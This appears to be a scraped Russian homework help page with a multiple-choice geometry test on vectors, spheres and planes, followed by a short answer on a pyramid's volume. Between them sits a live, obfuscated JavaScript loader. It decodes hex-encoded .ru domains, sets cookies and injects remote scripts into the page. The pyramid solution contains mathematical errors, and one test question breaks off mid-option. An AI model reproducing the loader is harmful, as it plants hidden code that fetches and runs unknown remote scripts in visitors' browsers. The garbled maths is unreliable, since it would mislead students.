1. Выберите верное утверждение: «Векторы перпендикулярны, если…»

А) их скалярное произведение равно 0

В) их сумма равна нуль-вектору

С) их длины выражены взаимно обратными числами

Д) их координаты пропорциональны

2. Произведение двух векторов – число положительное. Выберите верное утверждение:

А) угол между векторами – острый

В) угол между векторами – тупой

С) векторы перпендикулярны

Д) векторы параллельны.

3. Произведение векторов равно 1, длины вектором 1 и 2. Найдите угол между этими векторами

А) 30◦

В) 45◦

С) 60◦

Д) 180◦.

4. Длины векторов равны 3 и 6 см. Угол между векторами 60◦. Найдите произведение векторов.

А) 36

В) 0

С) 18

Д) 9

5. Найдите произведение векторов с координатами (1; 2; 5) и (2; 3; 7)

А) 1

В) 35

С) 43

Д) 0

6. Найдите произведение векторов с координатами (-3; 5; -7) и (2; 1; 3)

А) 30

В) -30

С) 22

Д) -22

7. Вычислите угол между векторами с координатами a ⃗=(2; -2; 0) и b ⃗ = (3; 0; -3).

А) 30◦

В) 45◦

С) 60◦

Д) 0◦.

8. Уравнение сферы имеет вид: 〖(x-2)〗^2+(〖y+5)〗^2+〖(z+3)〗^2=49. Найдите расстояние от центра сферы до начала координат.

А) 38

В) √38

С) 49

Д) 7

9. Центр сферы с диаметром АВ, если А(-2;1;4),В(0;3;2)

А) С(1; -2; -3)

В) С( -1; 2; 3)

С) С(1; 0; 0)

Д) С(0; 0; 0)

10. Плоскость проходит через точки A(0, 0, 2), B(5, 0, 0), C(0, 7, 0).

А) 7x + 5y + 5z - 35 = 0

В) 14x - 10y + 35z + 70 = 0

С) 14x + 10y + 35z - 70 = 0

Д) 7x - 5y - 5z + 35 = 0

Задания с несколькими вариантом ответа

В следующих заданиях выберите один, два или три из предложенных вариантов в качестве ответа. Каждое задание оценивается в

11. При каком значении n данные векторы a ⃗=(2; -1; 3) и b ⃗ = (1; 3; n) перпендикулярны

А) 1/3

В) 5/3

С) 1

Д) 0,(3)

12. Даны векторы a ⃗=(-1; 2; 3) и b ⃗ = (5; х; -1). При каком значении х выполняется условие

a ⃗∙b ⃗=3?

А) 5,5

В) 5 1/2

С) 5

Д) 11/2

13. Найдите координаты центра (S) и радиус сферы, заданной уравнением: (x - 2)2 + (y + 1)2 + z2 = 4.

А) S(2;1;0), R=2

В) S(2;-1;0), R=2

С) S(-2;1;0), R=2

Д у нас щас соч.​

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Объём пирамиды=1/3*площадь основани*высота пирамиды.
основание - правильный треугольник со стороной 6 см, значит 1/4корень из 3*сторону в квадрате=1/4корень из 3*6 в квадрате=9корен из 3.
высота пирамиды. если её провести к высоте основания, то получиться прямой треугольник со стороной 60 градусов у основания и 30 - у вершины. Сторона против угла в 60 градусов=половине гипотенузы т. е. гипотенуза - боковое ребро, следовательно 6/2 = 3. Высота пирамиды - это катет этого прямого треугольника = 3.
площадь = 1/3*9корень из 3*3=9корень из 3